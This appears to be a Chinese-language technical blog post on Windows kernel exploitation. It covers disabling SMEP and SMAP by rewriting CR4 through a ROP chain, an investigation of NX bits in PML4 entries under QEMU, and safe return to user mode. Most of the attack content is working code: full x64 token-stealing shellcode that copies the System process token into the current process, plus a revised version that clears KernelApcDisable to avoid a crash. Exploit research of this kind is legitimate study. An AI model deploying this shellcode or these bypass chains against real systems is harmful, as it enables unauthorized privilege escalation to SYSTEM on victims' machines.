Windows Kernel: Bypass Protection && Run Shellcode

Bypass SMEP && SMAP

CR4寄存器:(第0位开始算起)
20位:SMEP
21位:SMAP
和Linux Kernel相同,需要一条chain来修改CR4寄存器

1
2
3
pop rcx; ret
cr4_value
mov cr4, rcx; ret

Windows中CR4寄存器修改可能会被Check到,产生:

1
Bug Check 0x139: KERNEL_SECURITY_CHECK_FAILURE

所以最好根据对应环境下的CR4的值,只关闭SMEP、SMAP对应bit即可
不过在特定环境下,仅仅关闭SMEP、SMAP是不够的

NX-bit && PML4

起源于一次Debug:
在Vmware环境下修改CR4来关闭SMEP和SMAP后可以成功跳入用户空间的Shellcode
但是在QEMU中却出现:

1
Bug Check 0xFC: ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY

QEMU选项:

1
-enable-kvm -cpu Broadwell,+smep,+smap,+pcid

可是创建空间使用的是:PAGE_EXECUTE_READWRITE
通过循环调用MiGetPTEaddress可以获得VirtualAddress的PTE->PDE->PDPTE->PML4E

1
2
3
4
5
6
7
8
1: kd> uf nt!MiGetPTEaddress
nt!MiGetPteAddress:
fffff802`25ad8dc8 48c1e909 shr rcx,9
fffff802`25ad8dcc 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`25ad8dd6 4823c8 and rcx,rax
fffff802`25ad8dd9 48b8000000000092ffff mov rax,0FFFF920000000000h
fffff802`25ad8de3 4803c1 add rax,rcx
fffff802`25ad8de6 c3 ret

PTE、PDE、PDPTE对应位置都没有问题,但是看到对应的PML4表项:

1
2
3
4
kd> dq ffffae572b95c000
ffffae57`2b95c000 8a000000`ad029867 00000000`00000000
......
......

可以看到对应最高位NX-bit为1,所以直接跳转会不可执行,但是Vmware环境下对应为:0a000000……,最高位NX-bit为0,在关闭SMEP、SMAP后可以直接执行
这里占坑,只能大致根据自己的debug和现有资料猜测实现的原理:
其实这四个表项的NX-bit,经过调试,都会起作用,所以这里的PML4表项的NX-bit猜测是在进入内核态才会设置的
Windbg中可以在内核attach到对应的进程,bp到用户态代码,继续运行可以断在用户态,但是在qemu monitor中info registers看到RIP依然是在内核态,猜测这应该是Kernel Debug设计上的问题,没真正返回用户态,而是在内核中支持Debug的代码中,在这个“用户态”看到对应的PML4表项开启了NX
最后选择在QEMU中使用gdbserver调试,分别断在用户态和内核态,这时候在qemu monitor中info registers看到RIP指向用户态,此时表项对应位置的NX-bit为0(在内核态为1)

以gdb为准(因为从monitor看出QEMU内部的gdbserver更能显示当前运行状态),猜测这是最开始硬件实现SMEP的一种机制

1
2
3
这里有类似的说明,不过情况不一样,但是有助于理解:
https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html
http://hypervsir.blogspot.com/2014/11/implement-software-based-smep-with-non.html

经过调试可以找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
KVASCODE:0000000140352DC1                 mov     cr3, rbp
KVASCODE:0000000140352DC4
KVASCODE:0000000140352DC4 loc_140352DC4: ; CODE XREF: sub_140352D80+C↑j
KVASCODE:0000000140352DC4 mov rbp, r9
KVASCODE:0000000140352DC7 bt esp, 1
KVASCODE:0000000140352DCB jb short loc_140352DD6
KVASCODE:0000000140352DCD verw word ptr gs:702Ah
KVASCODE:0000000140352DD6
KVASCODE:0000000140352DD6 loc_140352DD6: ; CODE XREF: sub_140352D80+4B↑j
KVASCODE:0000000140352DD6 mov rsp, r8
KVASCODE:0000000140352DD9 swapgs
KVASCODE:0000000140352DDC sysret
KVASCODE:0000000140352DDF rent

在即将返回用户态,mov cr3, rbp时,会将NX-bit恢复,在一些设计文档中看到对cr3的mov操作会产生side effects,但是没有看到对PML4的NX-bit的影响
猜测:当上下文切换时(syscall/sysret/cr3切换),硬件会将用户空间的PML4E的NX-bit置1来实现SMEP保护,并在返回用户态时clear保障用户空间正常运行
Bypass:如果对应的环境下有这个机制,找到一条chain来修改对应的PML4表项,关闭NX即可

Run Shellcode

Windows Kernel下提权的Shellcode和Linux Kernel下提权的原理类似,Linux Kernel下有cred结构体标识进程权限,Windows Kernel下则使用Token标识进程权限。
内核态中,每个进程都有自己对应的_EPROCESS结构体:

1
2
3
4
5
6
7
8
9
10
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
......
......
+0x360 Token : _EX_FAST_REF
......
......

其中UniqueProcessId标识着这个进程ID,ActiveProcessLinks作为链表指向另一个进程的ActiveProcessLinks:

1
2
3
4
0: kd> dt _LIST_ENTRY
nt!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY

所以只需要把当前进程的_EPROCESS的Token修改为System进程的Token即可

1
2
3
4
5
0: kd> !process 0 0 System
PROCESS ffff9705dae6f2c0
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffe58617e05e00 HandleCount: 2381.
Image: System

System对应的 UniqueProcessId 为 4
还需要找到当前进程的_EPROCESS:

1
2
3
4
5
0: kd> uf nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff802`25a85de0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff802`25a85de9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff802`25a85df0 c3 ret

通过这两条指令就可以获得当前进程的_EPROCESS
不过实际上gs:[188h]处是当前对应的_ETHREAD(_ETHREAD开始位置展开是_KTHREAD):

1
2
3
4
5
6
7
8
9
0: kd> dt nt!_KTHREAD poi(gs:188h)
......
+0x098 ApcState : _KAPC_STATE
+0x098 ApcStateFill : [43] "???"
......
......
+0x220 Process : 0xffff9705`e4bdd4c0 _KPROCESS
......
......

对应0xB8偏移位置是ApcState.Process:

1
2
3
4
5
1: kd> dx -id 0,0,ffff9705e4bdd4c0 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffff9705e229b2d8))
(*((ntkrnlmp!_KAPC_STATE *)0xffff9705e229b2d8)) [Type: _KAPC_STATE]
[+0x000] ApcListHead [Type: _LIST_ENTRY [2]]
[+0x020] Process : 0x0 [Type: _KPROCESS *]
[+0x028] InProgressFlags : 0x0 [Type: unsigned char]

简单查了一下资料:这两个位置区别:如果当前线程attach到别的进程,ApcState.Process会改变,但是0x220处的Process不会改变,所以PsGetCurrentProcess获得的_EPROCESS更加准确,不过其实正常exploit编写,这地方实际指向同一个_EPROCESS,所以没太大影响(如果因为这里发生Crash,可以修改尝试一下)(占坑,没太理清这里会影响的与EXP相关的程序流)
Shellcode:
首先获得当前_EPROCESS, 而后利用ActiveProcessLinks不断搜索,判断UniqueProcessId是否为4,将UniqueProcessId为4(System)对应的Token覆盖原来的Token,即可完成提权,针对不同版本可能需要修改偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	push rax
push rbx
push rcx
mov rax,gs:0x188
mov rax,qword ptr [rax+0xb8]
lea rbx,qword ptr [rax+0x360]
loop:
mov rax,qword ptr [rax+0x2f0]
sub rax,0x2f0
mov rcx,qword ptr [rax+0x2e8]
cmp rcx,4
jnz loop

mov rcx,qword ptr [rax+0x360]
mov qword ptr [rbx],rcx
pop rcx
pop rbx
pop rax
ret

不过运行时发生了Crash:

1
Fatal System Error: 0x00000001

Analyze:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

APC_INDEX_MISMATCH (1)
This is a kernel internal error. The most common reason to see this
bugcheck is when a filesystem or a driver has a mismatched number of
calls to disable and re-enable APCs. The key data item is the
Thread->CombinedApcDisable field. This consists of two separate 16-bit
fields, the SpecialApcDisable and the KernelApcDisable. A negative value
of either indicates that a driver has disabled special or normal APCs
(respectively) without re-enabling them; a positive value indicates that
a driver has enabled special or normal APCs (respectively) too many times.
Arguments:
Arg1: 00007ffbf9ddc1a4, Address of system call function or worker routine
Arg2: 0000000000000000, Thread->ApcStateIndex
Arg3: 000000000000ffff, (Thread->SpecialApcDisable << 16) | Thread->KernelApcDisable
Arg4: ffff8d8eb3fbfb00, Call type (0 - system call, 1 - worker routine)

占坑,这里没太明白这个机制,根据官方的说明,需要Modify一下Thread->KernelApcDisable

1
2
3
4
5
6
0: kd> dt nt!_KTHREAD
......
......
+0x1e4 KernelApcDisable : Int2B
......
......

在Shellcode中置KernelApcDisable为0即可(有些环境下不需要,或者有其他Crash,根据信息微调即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
	push rax
push rbx
push rcx
mov rax,gs:0x188
mov word ptr [rax+0x1e4],0 ;Added to Modify Thread->KernelApcDisable
mov rax,qword ptr [rax+0xb8]
lea rbx,qword ptr [rax+0x360]
loop:
mov rax,qword ptr [rax+0x2f0]
sub rax,0x2f0
mov rcx,qword ptr [rax+0x2e8]
cmp rcx,4
jnz loop

mov rcx,qword ptr [rax+0x360]
mov qword ptr [rbx],rcx
pop rcx
pop rbx
pop rax
ret

最后通过pwntools的asm模块转为Bytes或者直接内嵌asm即可

Return to Userspace Safely

提权后需要安全地返回用户空间
只能视情况而定,主要的思路:

  • 构造好寄存器环境后sysret
  • 恢复rbp栈帧,而后ret到未破坏程序流时正常返回用户空间时的执行位置(一般在KiSystemServiceExit)